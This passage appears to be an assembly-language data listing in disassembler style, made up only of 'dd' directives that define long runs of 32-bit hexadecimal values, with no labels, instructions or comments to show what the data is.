		dd 0BA3E3669h, 99E07E6Bh, 7BFA00EEh, 6F770F12h,	0FE7061D2h
		dd 0EDA34A00h, 7601D539h, 40553C54h, 88B3D100h,	0EE77E172h
		dd 0A57614F0h, 1AF05C00h, 0AC3D209h, 0D06850B3h, 0E9F45Dh
		dd 4CB06BBCh, 0D685DDE5h, 0A4D5D4A8h, 0E6EA0A00h, 0C88B9971h
		dd 627900C2h, 1E2122B9h, 2F771490h, 0DB012B00h,	187BFC04h
		dd 0DD611E79h, 874580D8h, 0BDF341F1h, 0C59F2201h, 0A67D5AF7h
		dd 0EB849ECh, 5DA35B51h, 47E1CB00h, 0DF00A97Ah,	0C99161E7h
		dd 101FEBEh, 0B6A55C49h, 30F8D15Fh, 721D3FE7h, 0C0F014D3h
		dd 742F0E6Bh, 0C50700BDh, 0E2091F75h, 4700F225h, 0B06FD61Ch
		dd 3E11B10h, 0DFA2C8E4h, 6AC84F43h, 0AE3BD5F4h,	3800FA9Bh
		dd 1A8EFC3h, 0C77D0Dh, 0ECD657Bh, 0B23CD184h, 0F371000h
		dd 0DC92AB7Eh, 9008514Ah, 3DC8D0h, 0D51857E8h, 0DABD64D2h
		dd 0DDE02A01h, 24AB542Ch, 206A2A87h, 0D03767A5h, 71DC9689h
		dd 251BC100h, 21FE978Ch, 1CFC0079h, 0C3A84F22h,	46793886h
		dd 3517A617h, 401D3F0Fh, 255FBE18h, 0CA948E6h, 34506D00h
		dd 6CEF7280h, 3DF99500h, 977A263h, 41080029h, 66692DE7h
		dd 1D001598h, 0A260BDF0h, 38C823F7h, 0D8BE8807h, 11B0B600h
		dd 1AF9E0E2h, 92714D00h, 0BC8DF4CFh, 0D6CD0433h, 0C07DDEF8h
		dd 156184CBh, 0B8BE2B00h, 48D06880h, 0B2D20A78h, 0C81D9Dh
		dd 7958F08Bh, 12587F5Ch, 0E4070F80h, 0A35E601Ah, 4D9A51h
		dd 45F87788h, 1735AE37h, 0B484E700h, 0ECDF0439h, 0A33E007Ah
		dd 4BB9A016h, 326E1F0h,	0D300D045h, 125211FCh, 0B541001Eh
		dd 6CAB8E27h, 4D0009BEh, 0D938B14h, 0A1A04Fh, 4B8F5750h
		dd 72C1472Bh, 0A4383300h, 874865BDh, 126C165Ah,	601C407Eh
		dd 0A11A7B22h, 4F612700h, 187045CCh, 9A7700A9h,	0D0C1FDEDh
		dd 0C50042C9h, 975452D1h, 629C4Ch, 3460EE2Eh, 6A9DE7B1h
		dd 0B81A5100h, 0FE51BE4h, 2460018h, 6E390D7Fh, 0AE00164Ch
		dd 8D1126E2h, 0C6DD41h,	12A453D7h, 2EA7C3C0h, 0B75DC200h
		dd 5B3E24E5h, 6730Ah, 119EA57Fh, 0EEDC9BC4h, 66047D07h
		dd 0D21019C8h, 0C7CB36h, 18BB978Ah, 69952BBCh, 220183FEh
		dd 0B47D5E2Ch, 63DCE1B7h, 4C121F72h, 15E34046h,	19ADDA59h
		dd 0C3779900h, 987DB870h, 75EC0060h, 6FB52973h,	7003438h
		dd 0E3B6506Bh, 0B836B244h, 0A973003Ah, 6F055767h, 74004145h
		dd 960B03BCh, 0E09BB966h, 0E668021Ah, 0FBB5272Bh, 72CD6C87h
		dd 44167D2h, 3482D18Eh,	0C901DDF4h, 695D0166h, 7280BB4Fh
		dd 8EE3488Dh, 0D8000B11h, 88F9BC40h, 0D8449h, 4BFD7855h
		dd 571FC714h, 1B002774h, 2D97CF38h, 4DEFA96Bh, 0BA1E8070h
		dd 42F09D93h, 2A3DD9B9h, 2F535260h, 80666439h, 0ABEE4E2h
		dd 1D1173h, 0D801BC6Fh,	6195CA85h, 79FDC300h, 7FEDA259h
		dd 5D0907Eh, 600A622Ah,	0BFDC0030h, 3F809E24h, 41B31403h
		dd 0F9440975h, 0E8814B72h, 0AF586DDFh, 0F4F031FAh, 5E005969h
		dd 642B50BDh, 7BE15C3h,	3587E15Ch, 700DB3C8h, 6FBBA90h
		dd 67D8EF01h, 12B9CFC6h, 0F4D230h, 218FA75Dh, 1C8BF7AAh
		dd 0F1A45601h, 0B139AF9h, 0FE28864h, 0CBA26848h, 976B1F80h
		dd 88044C42h, 9CFA7994h, 806240C0h, 56FB3F8Eh, 9550075h
		dd 0AFBB7A57h, 9D00CFCDh, 0C1769E3Dh, 0D0422Bh,	5BD31F4Fh
		dd 0AAA890Bh, 2210909h,	61648072h, 18BBD53h, 80B7E449h
		dd 81BECAD4h, 0A408AF11h, 0DDD4AB64h, 72D7136Eh, 6B804087h
		dd 0EAC632CBh, 0FD65831Ah, 6CE360A0h, 11900EFh,	265ABFCDh
		dd 212C3546h, 2F0BBD75h, 16F080D4h, 17DC21Ch, 0F4EC08D7h
		dd 6038BB8Ch, 5F0010B8h, 972D04A8h, 40E47Fh, 32067C1Fh
		dd 23FAAB2Bh, 3F4AF800h, 7E373D29h, 71170389h, 0B32E8CD9h
		dd 59CB47D0h, 800085E4h, 1D12C024h, 0F0DBA5BAh,	97960314h
		dd 0A11F94D3h, 0E29BD5F3h, 483490A0h, 1473E38h,	0D7B30940h
		dd 0F9F89D7Eh, 3592017Ah, 0D28F0EF8h, 0ADD0438Dh, 451801D1h
		dd 1F60CDA0h, 8588304h,	0E9100C4Fh, 0D36A5045h,	0EA3A4800h
		dd 0F5864453h, 0ACA91F11h, 0EF3D80BAh, 0A3ED7D29h, 2485AD0Bh
		dd 434C8118h, 382068B1h, 0D66C0002h, 896D5FF4h,	5B04463Ah
		dd 3E40FC61h, 0E8C2A980h, 0B3EA00E4h, 4BC6B969h, 4D004318h
		dd 2C819884h, 0F4C0F695h, 9E570402h, 87176108h,	0DC89E0F8h
		dd 0F00CB34h, 2C7AE0E6h, 0FEBDAA77h, 2EA40020h,	27673D18h
		dd 6C050E59h, 6BF58B92h, 0B67C81C0h, 192E0F5Eh,	0BF40DBFBh
		dd 268325B3h, 15495300h, 8E2A1F58h, 70D81D66h, 7C348113h
		dd 0E0DBB837h, 26004290h, 547428BCh, 1AC6B8Eh, 32EF2C6Eh
		dd 0E8F00818h, 0A201A8B6h, 4134F923h, 9E8C880h,	1E8D00FFh
		dd 0D55B8202h, 0E200E197h, 75A6434Eh, 484914B3h, 0F400CCC0h
		dd 2412AD7Dh, 88006BD6h, 0B6ECE066h, 3DAB6C3Dh,	7400710Dh
		dd 6908124Ah, 0D0006EA1h, 358B846Fh, 0FBE991Fh,	0C367E6C6h
		dd 0E789DF81h, 0F087F640h, 0BA02F054h, 9300B6E2h, 0D8D9F01h
		dd 242FC15h, 0B4F909AFh, 8481F24h, 2200334Ch, 0B20E62A1h
		dd 14EB9CEDh, 0D48ED884h, 2C09EC02h, 9381C9FEh,	0E8D0119Fh
		dd 0DF00A669h, 4F9D8BCBh, 0E4C5AAh, 0C4DD5618h,	23BE7DBAh
		dd 1A270E03h, 0D879240Ch, 719D0FAh, 492E3E61h, 45849068h
		dd 10001A78h, 8CB84D96h, 2628165Fh, 1E885331h, 0C17BC076h
		dd 4C5CA440h, 4348C601h, 0E92E605Fh, 25C082E4h,	4C004A81h
		dd 9BB5F71Dh, 0C1193C00h, 25B09A50h, 5C8505D3h,	0C0B27ED1h
		dd 6B997250h, 6815B300h, 59B9076Fh, 90FE00A9h, 3EA7CE81h
		dd 9D767F76h, 0F622BF02h, 0A0DEDCB4h, 8FCDF194h, 0D0C14C16h
		dd 0AD335100h, 7B4E12A9h, 0D2FC6600h, 0D1C3DF10h, 7C8F1DA1h
		dd 2E9280A6h, 0F66C2F3Bh, 14026E00h, 81D10C11h,	0EC544C9Ch
		dd 0A1984200h, 0A58286C4h, 9B1E9390h, 92804DE1h, 4091CBB2h
		dd 0E06FA45h, 835CAF33h, 0EE381160h, 5B075A96h,	0B6E8A8F1h
		dd 8CE08FC7h, 0FF88033h, 5CB5EDB4h, 0B04B9B47h,	0A6769223h
		dd 801D47Fh, 34263E1h, 2C308543h, 0EE9800E9h, 0CAC61F4h
		dd 5003B04Fh, 6EEDE8FEh, 0D539E02Ah, 4D3F2EEh, 82266295h
		dd 0DAD0901Ch, 9B2EAAC2h, 0BC03E006h, 0D0C8E312h, 0FA3D92h
		dd 34EE8795h, 3B17AF5Ah, 281A3830h, 31404FFh, 0B141EF7Eh
		dd 90E58B1Fh, 0E08DC48h, 5A618900h, 0C45D0A2Eh,	9A5B00D5h
		dd 4B4F6584h, 240098CCh, 0DD799162h, 2D1015h, 0B373DF6Ah
		dd 34A9B4FEh, 338AF600h, 212DC25h, 45E030h, 648051F4h
		dd 7C5F3F44h, 3D7EE900h, 0D4CFAD27h, 0F73780Fh,	0D14BD975h
		dd 387264E0h, 94771453h, 0C0DEA100h, 9881FDAAh,	0C6D400D0h
		dd 7126D739h, 1004EFBh,	0AD365B34h, 1C75A2h, 51EFE53Eh
		dd 239B20B7h, 61001FE2h, 8381AA4Dh, 0B011660Bh,	6D980012h
		dd 857DE5F5h, 0A000FC70h
		dd 0F31E1319h, 7144BF2Ch, 7C873E48h, 4699A4h, 1FBE33B1h
		dd 0A73A8E4Dh, 0F354892Eh, 0B050001Ah, 60DE9Eh,	7DE1F6F8h
		dd 9659B218h, 0A3FB1E1Ch, 0FCA80F00h, 769CF37h,	378DEBBh
		dd 0DF0C6353h, 0B1963FD8h, 335E5600h, 0E983F709h, 0BECD00BDh
		dd 71DD53A9h, 27008DCBh, 0A78826DAh, 4F985Ch, 7FE11A87h
		dd 4556A82Bh, 0E3B34B06h, 0A26A8Fh, 53F7B1C7h, 63448902h
		dd 8525E519h, 0F970EC48h, 18DB7CB9h, 52F00B9Ah,	0C60090AFh
		dd 37DD33Fh, 712CCDFh, 0F381DC16h, 0B19FD0ADh, 24602259h
		dd 0F8AC92F0h, 9E789Dh,	2F1FC3Eh, 85C5ECA7h, 868C7600h
		dd 7C0B54BFh, 5BAD00C6h, 13479E19h, 8E036ECDh, 0B2392722h
		dd 4E42B82Fh, 913317C0h, 0D4175Eh, 2671CE44h, 75036BFCh
		dd 65F3E7C7h, 7783E87Ah, 8A5F0009h, 0D7EBC4D2h,	0C02C60AEh
		dd 8100D51Bh, 0FF223C48h, 94241E55h, 35AE0026h,	53EB1B0Ch
		dd 0D39B431Eh, 0A84E8A00h, 12382486h, 2B276Ch, 3648AA48h
		dd 1100D39Dh, 4D5384B7h, 60C34441h, 0D2C6660Dh,	8F0EE491h
		dd 0E0A9E1E5h, 55FAC6Dh, 2D0D0FD3h, 80FC9835h, 87929F8Eh
		dd 0E200AD86h, 41847280h, 0E848F7DDh, 61121CBBh, 4398DFF1h
		dd 9FC80D1Fh, 74E8B7E0h, 9500D077h, 0C32677E0h,	0A6CF11h
		dd 0FE2B3189h, 497C7AAFh, 0D0F5C00h, 0AC6C1BFAh, 17994CC5h
		dd 315902Eh, 0B99B80AEh, 890AE5A0h, 71EC7E00h, 74137B7Fh
		dd 0E0E100F5h, 925AAFCBh, 0BC0016EBh, 5DC1D8D2h, 0C279B7h
		dd 970A8B2Ah, 6013F6FCh, 0E9BED300h, 6283AC8Eh,	0A5EAFAh
		dd 5BD2983Eh, 340CE7EAh, 0C1959h, 55E9476Ah, 48B572h, 50E626DEh
		dd 7FE58370h, 47E42800h, 0BD76937Ah, 4A6800C9h,	8BC145BFh
		dd 77243146h, 3000007h,	0ED98BE0Bh, 42B54C88h, 328E1500h
		dd 0CC8F3377h, 3C006B73h, 0EA9C4626h, 4C4A6714h, 5680243Ah
		dd 0E6E7F5BFh, 0DA21C800h, 0B968FF6Ch, 0F8722E2Eh, 70290098h
		dd 8C24E39Bh, 0F04748h,	2858A941h, 9AE773Ch, 32DBC0BAh
		dd 210A6C40h, 464Ah, 89653F09h,	2957492h, 416B2A03h, 9450E1DCh
		dd 429D6118h, 3D7B639h,	67AED9E8h, 0ECA0CE23h, 0E62326Ah
		dd 52733021h, 5B9700B0h, 4A29200Bh, 6A00745Dh, 3C726D93h
		dd 0D170B7h, 79198054h,	1E7E64F0h, 0DB63D800h, 30AF6B74h
		dd 0EEC42502h, 0F9905800h, 1F733E77h, 4DB8015Fh, 7D20F41Ch
		dd 0F0DAE980h, 0BF02A173h, 0DC4A5A00h, 57AFAB78h, 0A0791262h
		dd 194CC814h, 73972400h, 0DBC9201Dh, 2F1800C4h,	4E5349A8h
		dd 26791A46h, 72275D00h, 0FFD671B8h, 0EE4100E2h, 57E4395Fh
		dd 0A60F7821h, 0E7584636h, 75E3745Bh, 6965B8DAh, 0EA270E48h
		dd 76A043F9h, 0BFEF3F6Fh, 447C8526h, 52A7BB03h,	3BCA007h
		dd 0ACBD5CAEh, 0F2A47104h, 0B0B0A268h, 0F8EB685Eh, 0F2176F9h
		dd 0EAC2243h, 0F4FBB220h, 2400CC05h, 0FCAEBFEDh, 9C4144Bh
		dd 966AC261h, 0A3B25780h, 0EB099AF3h, 8245E4A9h, 600BD066h
		dd 1D7FD7EBh, 8012A11Ah, 0E1EAB0E3h, 80028ABCh,	27928683h
		dd 0AA13601Fh, 0FA4A98h, 0E595F704h, 0A000E7D6h, 5CEAD93Ch
		dd 0ECF9B3F4h, 3B49C6Fh, 0CB574DE2h, 3B2168C0h,	0AF20FA01h
		dd 0ADD8F166h, 51ECA121h, 0F5DD00E1h, 0BE5D787Eh, 93486C80h
		dd 9502009Dh, 8F658839h, 1B6E2A0h, 368ECFEFh, 6017FB20h
		dd 460010FCh, 0DBD743BEh, 5630155h, 99CFBA22h, 669A0042h
		dd 0B46FAC9h, 0AE7AED00h, 0CA9E88ADh, 0AC070050h, 7B8EC0E9h
		dd 0A1011B71h, 67D023C6h, 91CC48A5h, 0A466396Eh, 0B0259480h
		dd 8BA75E4Eh, 86992800h, 0B55029C4h, 6D9E00ADh,	0A2ED353Eh
		dd 505C91Ah, 0B4387C25h, 1CCBDC5Dh, 0E4D8C30Fh,	0C81B00BFh
		dd 89B7AB4Ah, 83129B3Bh, 9914F035h, 2C28B9Eh, 6DA89388h
		dd 0D44953C7h, 0FCFDFC34h, 3178972Fh, 4330F284h, 627D03B6h
		dd 2B2CD6C1h, 0E75DD1B8h, 122E6D00h, 49156B99h,	0DA500E9h
		dd 6C065679h, 0EC00B2F2h, 0CFE3E261h, 35032Ch, 2214187h
		dd 0C32F4AB9h, 550BE90Eh, 89FB43D2h, 0CD2980E1h, 0BA2C0026h
		dd 60993F10h, 0B12C44FAh, 0DC008B34h, 77525843h, 0E97474h
		dd 7FFE7385h, 6B8DF790h, 0F9EFF3Ah, 404DA72Ch, 0DAA22D61h
		dd 0FC38017Eh, 80A085E1h, 7240D0CCh, 0CC0A0C2Ch, 20DDA5B9h
		dd 0D1E077C8h, 95860BF8h, 91806A84h, 0C7C89F47h, 0D5405802h
		dd 0C0B610F4h, 7D9BB86h, 97DAF1B1h, 7E23B08Dh, 8F15A646h
		dd 12AC1780h, 548F8173h, 366B3800h, 1390B2C4h, 437C4200h
		dd 0EC1D6208h, 7E590044h, 83B450C6h, 22001A10h,	19ECCBCh
		dd 0E1B1626h, 31E37D60h, 7297D9A0h, 0E8925B28h,	0EAFB7702h
		dd 80DE57AAh, 724B1188h, 38B26182h, 0E81A4ADDh,	8900F236h
		dd 4C562434h, 3EC70FC3h, 0C800A5E6h, 0F1489141h, 0B490FA5Eh
		dd 26774FF8h, 2CF6DA00h, 845FC96Eh, 0E81FF466h,	34C11EC5h
		dd 48EE004Fh, 737DE377h, 0A7A65813h, 288E6305h,	4E9CA3C0h
		dd 46D7007Eh, 0E79F76DAh, 3400041Dh, 0D619AB0h,	0C0E87Ah
		dd 0EADA602Bh, 23F6C803h, 74BBA5Ch, 0D5643F70h,	37BEC08Eh
		dd 79CB8C7Ah, 5B333D8Eh, 185E1103h, 65889A78h, 0B401EC19h
		dd 2E8E55E3h, 6AD48AD4h, 0EAE50052h, 0BDB17FCFh, 0AD076C68h
		dd 0B1C3350h, 0E0D33030h, 0A2360122h, 478EA606h, 381307Eh
		dd 0C8278000h, 4E1F6D50h, 56200A91h, 0B8B6EAh, 0B7FAB2CEh
		dd 0EE0EEF7Bh, 0CD3558h, 5E6AC964h, 7E300078h, 0E417727Dh
		dd 0A51CBBA6h, 0B540195Ch, 1CC4710Dh, 0A2EE0078h, 0E9D633DCh
		dd 7400BEB6h, 5BDFA60Ch, 275F0D18h, 48805371h, 27970E89h
		dd 0F95FF3Ch, 8059F991h, 0F8B79931h, 76BE7B44h,	0F0871FCEh
		dd 3BE06F26h, 738D266h,	40A458AFh, 0E500FDBDh, 747A328Fh
		dd 0E0D473h, 330C7CBBh,	0B67660CAh, 62433E0Bh, 4898E0F3h
		dd 0FCD10B0Bh, 0A680E674h, 0CE644631h, 0EA196300h, 0F8BE8FEFh
		dd 0D2D0E29h, 47C4D42Ch, 80C88722h, 7C82286Ch, 341E0100h
		dd 9884994Bh, 23BA00F5h, 0AB40E017h, 811DB308h,	3C817A75h
		dd 0A9A63ADFh, 0A4AF7D4h, 0D3E2F578h, 66A881B8h, 0C0328211h
		dd 0F007A6C4h, 1CFD39AAh, 5F88B220h, 687D0057h,	176F5971h
		dd 6A78D6D0h, 691F9076h, 0E740E955h, 5EB843D8h,	0F0C51E95h
		dd 56E500C0h, 804720B7h, 4C2AA00h, 0EA97862Fh, 62A80E76h
		dd 3C6014E0h, 0C613CD9Ah, 0A554B603h, 0B8565BF0h, 0D27DBEh
		dd 73D8A018h, 0E9142A69h, 3FCF7E00h, 0F3C837C3h, 61AF004Bh
		dd 9F709C1Ch, 90033B3Ah, 242C2B98h, 681DA9F1h, 72D621C0h
		dd 0CFD303F3h, 3D01F788h, 4DACF100h, 0CD2F0861h, 6D44120Ah
		dd 0F01EFDh, 39125874h,	1C4AAB72h, 7600481Eh, 0CB874121h
		dd 0BB2B0003h, 0D6305328h, 1E00F931h, 6F36C5ACh, 0C02A7279h
		dd 0EE964238h, 0F473F328h, 50C9B200h, 0E8651E4Eh, 4F6B1E2Ch
		dd 0F18B405Ch, 3135864Dh, 20921200h, 0A5B6F606h, 0F4D90008h
		dd 9B24F7ECh, 1C0FFAC2h, 0E07255EEh, 0EABBA18h,	0CBE60064h
		dd 0FF5240BFh, 140F5CACh, 40663DBCh, 8C3822Dh, 0A33600D0h
		dd 7DCC8E3Bh, 0B2007E16h, 71489F63h, 34FAB9Ch, 94E7F572h
		dd 42012EDBh, 6F06D3FFh, 93E0FBBFh, 404D0B0Fh, 70A346CBh
		dd 5A00E9A6h, 0B5621DC9h, 4C7C22FBh, 2B002D4Bh,	195D43E1h
		dd 2005F8Bh, 49524291h,	4C3453C2h, 0A006214h, 3FAB8E10h
		dd 0D4026E61h, 4254291Eh, 3C64528Fh, 0A201A96Bh, 40868412h
		dd 0CDEF02h, 3950FAF8h,	0C800BFE6h, 92D32367h, 0F0C01A42h
		dd 0D5E801D7h, 99B76B60h, 682083B0h, 0CCD0A83h,	7342A3B8h
		dd 82022960h, 843E9B1Dh, 0C88503Dh, 97BA8C04h, 9BF03A21h
		dd 842E39h, 0A4C60D20h,	9067530Fh, 0C3A9021Ch, 0D76A7602h
		dd 4F90A1E0h, 215B4225h, 30A261D4h, 5FB65981h, 81A8DA26h
		dd 0EEADFC90h, 1040B06Ah, 3DE1D55Ah, 61007934h,	40849B67h
		dd 5DE61DC0h, 16656200h, 0EDA50976h, 82910050h,	159D6D03h
		dd 0EE00D09Ch, 0E4F4AD0Bh, 790FA136h, 8341132Bh, 95130007h
		dd 0BA88F36Dh, 7A9CF703h, 884378D2h, 0EBFC0Eh, 0CCD32B7Fh
		dd 54B5806Dh, 5264FB00h, 611AAC20h, 0DEBA00D2h,	125EB46Eh
		dd 0E5F0275Fh, 0BC93CB00h, 0A3A574E1h, 306A7CC6h, 89F86515h
		dd 0C514C75Eh, 2B8EB95h, 0ADB9A27Bh, 3DDCE063h,	837E3AA4h
		dd 0B483DC25h, 5B00E0Ch, 9007AD57h, 4D1CA1Eh, 99863910h
		dd 0EFF33A74h, 0E0096115h, 718E1B01h, 53560BF2h, 0D0D8ACB4h
		dd 2A06298Ah, 245C6804h, 3F4B08h, 0CFFE1D24h, 0ED07DEDCh
		dd 0CB5DABC3h, 6002D800h, 6DAE0035h, 52F84399h,	0C8A83E65h
		dd 0AB3F4623h, 0E8FF8314h, 4B3237E1h, 0BF28C008h, 0AB16E691h
		dd 13AC3CD3h, 6F0C7930h, 0E800306Ch, 2D1E204Dh,	72C3F3ACh
		dd 31A1B8E1h, 0CCB075DAh, 48EE70DFh, 74E41A03h,	0F7036588h
		dd 1EC27D43h, 0C07CFF20h, 0C66F79D9h, 0B95C5F5Eh, 849C286Bh
		dd 77DA8F48h, 10738930h, 0E2D7AFD4h, 18A403EFh,	0B5D0E4CBh
		dd 840235B0h, 0D25F300h, 4E11C345h, 0BD7800BFh,	945D535Eh
		dd 0F32C7BCAh, 4C008551h, 1F1B80A9h, 0FEC8F8EFh, 935203AEh
		dd 48905596h, 28AD0EF8h, 87E78801h, 6DE67B6Eh, 8D93B8EFh
		dd 95573A83h, 20ECDC18h, 0CF73E9D0h, 375B4C00h,	0CDBAF240h
		dd 21BB008Dh, 190E87ACh, 530C9799h, 0AA7B44C6h,	2351036Eh
		dd 6B986FBh, 0E9A39D8h,	0B1F61F18h, 25FD78h, 16A88D98h
		dd 0D9AF7229h, 5B80900h, 0C9C24D77h, 23AE062Ah,	0A90E8DCCh
		dd 754B8300h, 0E855F502h, 0DE8DA0F1h, 271B008Fh, 94ACA5AEh
		dd 8230123Ch, 0D6BB3844h, 0B7A0C026h, 154614Eh,	39869100h
		dd 0AE93AAEBh, 7BC00094h, 9A79DBD0h, 2C0090D4h,	0FF810DFBh
		dd 0B73871Bh, 5036F728h, 50034607h, 486F5C0Bh, 9008FEEh
		dd 5804BB10h, 0AB5BE5h,	9218E678h, 0FF7706CAh, 4802D9F2h
		dd 276B0996h, 0B1FC80DFh, 5F308DBh, 50D76E90h, 0C87080E2h
		dd 0D6189273h, 25D6BEB7h, 0FADF2CB1h, 22190067h, 0DEE7271Fh
		dd 0D65A3Ch, 0FF04C432h, 2D9CB1h, 0D33B7359h, 7F257530h
		dd 0EAD1106h, 7909926h,	80BF9E2Ch, 36B3B07Dh, 880CD0C9h
		dd 98852B81h, 9C0E1ED3h, 7699015Dh, 0F0820B2Eh,	0E40021D6h
		dd 0B93B8BBAh, 791B40Ch, 5CC8648Fh, 1F2513A9h, 906B1EC8h
		dd 0BBDF4200h, 78ADB8B0h, 2C41F333h, 0C211CAB4h, 44F80865h
		dd 1922D8C7h, 8E442290h, 415C521h, 4B9727Bh, 2423989Fh
		dd 76AB0FD8h, 80121621h, 0B9367159h, 58A0B084h,	0D989ABFCh
		dd 76402C57h, 2178B3A7h, 0D0088C7Bh, 986A9B94h,	83D45911h
		dd 2248101Fh, 0AB353810h, 821BAD10h, 2A212FFh, 27009967h
		dd 90772469h, 1CFDF020h, 8BD3DF7Bh, 1F5A88Eh, 4D976A07h
		dd 0A0FEAEE9h, 0E43628DCh, 51780E2Ch, 4361893Bh, 83C43A2Dh
		dd 34108F68h, 0BBFFD01Ch, 6690A0CAh, 1BAF2E84h,	124A008Bh
		dd 26DECEEDh, 8DF96C00h, 0F301A43h, 0A3EA30E1h,	4B990C30h
		dd 2E7F4F00h, 0BA76D519h, 3181247Bh, 710A8000h,	6E3D1048h
		dd 9746AD00h, 65C55C0Eh, 42B500F2h, 0D1276749h,	640078E2h
		dd 34EA6AB6h, 660EFFh, 0DB50AA92h, 9BE1264Dh, 27E7600h
		dd 8F7F5B0Ch, 51FE00CDh, 7CB18E8Dh, 350331AFh, 85E24CF3h
		dd 0AD40C886h, 0F49700FFh, 0B2AF75Fh, 30EAA66h,	40C78F20h
		dd 0B19EFCE5h, 35D40015h, 588BD0BFh, 62006051h,	72577422h
		dd 9F3A7Fh, 0E91F850Dh,	0DCDD4012h, 0CDADF01Dh,	403DB2CEh
		dd 69FD4BDh, 770E24Fh, 0A43B75FBh, 5F7E6069h, 0F6008B48h
		dd 0AD27688Eh, 735191h,	2A390CACh, 0ECC8756Ah, 0A0001D78h
		dd 38BBF35Fh, 13BEF8E8h, 1476A3B5h, 0B90058C3h,	0A2C6E6A4h
		dd 0B8927A73h, 12FCE080h, 8721CF07h, 0FFD43E0Bh, 93B83880h
		dd 120C14Fh, 20B06C05h,	0C31F1924h, 0F5CAD5E6h,	0B907D845h
		dd 4C93FA5Ah, 0A0CAB9F2h, 0D9BD2888h, 80703F84h, 40F94E04h
		dd 0ACF49B97h, 0BFF11078h, 0B3A818E0h, 88636251h, 79C25F89h
		dd 2E4A0B5h, 76224087h,	2EF2545h, 0E52F8914h, 1158A003h
		dd 0CFEAA79h, 28AE76DEh, 6F4B442Dh, 9E514662h, 78602361h
		dd 8212921h, 32884465h,	2DA18958h, 2E508A5h, 0C5C2F83Ch
		dd 6408C605h, 5139468Ch, 234A8803h, 998557h, 8DBF1BD4h
		dd 54F62893h, 2E7AA700h, 499C9F21h, 92B000DAh, 27C4547h
		dd 0EA001D5Ch, 27E262D9h, 7DC6077h, 0E117EE95h,	315AE048h
		dd 0E022414h, 2A1B9C0Ch, 0B8A84028h, 0D9DF00A5h, 93D5B4D8h
		dd 6300D473h, 0B6B50299h, 0F4C36665h, 9B5900B8h, 2076AC43h
		dd 74001D54h, 0AE4A52C8h, 7C0463h, 2ECA375h, 55875B9Eh
		dd 0DFAC6000h, 9028C3DEh, 56321ECFh, 0BE344012h, 0ABFA67B2h
		dd 70085400h, 6F0B962Bh, 68204D5Eh, 7EC1F700h, 0FA4CB94Dh
		dd 71514100h, 0EFE41FFDh, 0AEE03A6Bh, 216CCD80h, 0B4B9F961h
		dd 0F61C0800h, 0D220283Ch, 14AF5C12h, 679C4B00h, 0D0691909h
		dd 3B7BE000h, 4429952Dh, 6324008Bh, 0A0AA5610h,	0A4003122h
		dd 4EF96E4Bh, 0F851CF58h, 6FEC0919h, 38A0D399h,	78F984AFh
		dd 0F298DA03h, 0F0D7E2E3h, 1D4B7280h, 13A3158h,	8770B59Fh
		dd 1810E421h, 25CE3B02h, 0E014A690h, 27FE33h, 0B4F7C20Dh
		dd 0ABE70AF3h, 38216000h, 0D19F47F1h, 16D8FB98h, 7454001Fh
		dd 0E9F9BBACh, 71003624h, 3A91F5D8h, 0E3C5BE1h,	74C4BC1Fh
		dd 0D720450Fh, 0AD2C67DCh, 180046E4h, 97113130h, 0FA3A4Ch
		dd 5F2B21B9h, 0A2D66853h, 0DB54F913h, 263F19FCh, 695AFE00h
		dd 880AABD8h, 94761009h, 0FD768AF5h, 3ECBFA00h,	4C2C3AAFh
		dd 0AC0004F3h, 87B5C399h, 0D7008F51h, 294E0B3Fh, 3E0D1FEFh
		dd 57002354h, 0AA7E6A36h, 2E006E69h, 0CF9864FCh, 0D7904Eh
		dd 8557533h, 4A26549h, 809A143Ch, 0FB5E66F8h, 40917E4h
		dd 636F88DEh, 545880F0h, 0D071320h, 0FB04DF4Bh,	8E3B402Fh
		dd 1DC6D52h, 6209B47Eh,	0DCCD3949h, 0FA1EC563h,	0F457D6ECh
		dd 1267F0h, 0FC37F890h,	0F0A86B07h, 68D23300h, 4FC09315h
		dd 8590005Fh, 0CA507AC8h, 16006CBDh, 5B2472EAh,	2AA925h
		dd 1FE4AC64h, 0FCA8AD41h, 0E311ED04h, 9CC08694h, 2762972h
		dd 38F3DAD3h, 13402DA4h, 9A0011F0h, 0ADCCAFB0h,	60121FE8h
		dd 8677A8F2h, 30002B8Ah, 3DEEE0B7h, 2940EB4h, 0C49C9535h
		dd 0C26328FDh, 29AD54E0h, 4CB2011Dh, 971738F0h,	82CA00E3h
		dd 0A3332248h, 56006A8Bh, 0D9751888h, 1C463825h, 40429F76h
		dd 95B0FA45h, 0D300025Ch, 395A1CC4h, 3D218C8h, 0E34033B5h
		dd 73D07CB3h, 0F300EE7Bh, 502DC9Ch, 5364660h, 0AB2A095Dh
		dd 0A424C3A5h, 0AEF816A8h, 0B7EA1F09h, 1C09006Ch, 56D672h
		dd 2FFECF9Eh, 0F2E1957Eh, 82A77107h, 3F90F97Dh,	7BD60Ah
		dd 3D44288Dh, 0C786486Ch, 5FE57007h, 0A0EFC61Dh, 84B179Eh
		dd 1BE846h, 3F20F509h, 932D5241h, 6AD00213h, 5C5D0400h
		dd 720817AFh, 74B439ABh
		dd 56512500h, 3029E5D3h, 817CA200h, 0B694B2E8h,	3BF1D92h
		dd 25A040CEh, 864B1C17h, 8800F3FCh, 30A4C2F6h, 9D248Fh
		dd 3307847Eh, 83ADFDDCh, 7261B39h, 343B96Eh, 0A603A78Ah
		dd 0A074BC20h, 0F08CDEE3h, 95C7508Dh, 0EE17001Dh, 0F21A5B4Ah
		dd 0B107234Eh, 62DB087Ah, 184FEF50h, 0CCED00EEh, 87B77E97h
		dd 6C00BE94h, 0A5B464A8h, 4EF8FDh, 65423818h, 0C269CE6Ah
		dd 62AF7D00h, 0F248CD5Bh, 5B70596h, 0C014C1FFh,	2F2DA0F4h
		dd 0AB8F5500h, 4437821Ch, 0F66E010h, 22360B49h,	0F880A0CBh
		dd 0F48C5642h, 0C2A17C03h, 0D02B1501h, 0F27293B4h, 309B0611h
		dd 663A5AB0h, 89536316h, 39211000h, 3CB971h, 4167EDEh
		dd 0F23B9C11h, 8707A500h, 8B59B24Ch, 1D2C0797h,	5013E21Fh
		dd 6CC7AFB4h, 0E500337Ch, 0F70EB609h, 3F8899Ch,	0B5D75613h
		dd 599091EDh, 680003DFh, 777650A4h, 2CBD0A44h, 0D62A0Dh
		dd 0AC5A3827h, 62007CFCh, 0CC39322Eh, 1FDCF1D2h, 0C0EA57B5h
		dd 25E2BE1Eh, 0E011866h, 0B6537F78h, 0B1FD41CDh, 5CD493E4h
		dd 813F7016h, 0E36FD103h, 10C0BCB6h, 0F3009F69h, 949335Fh
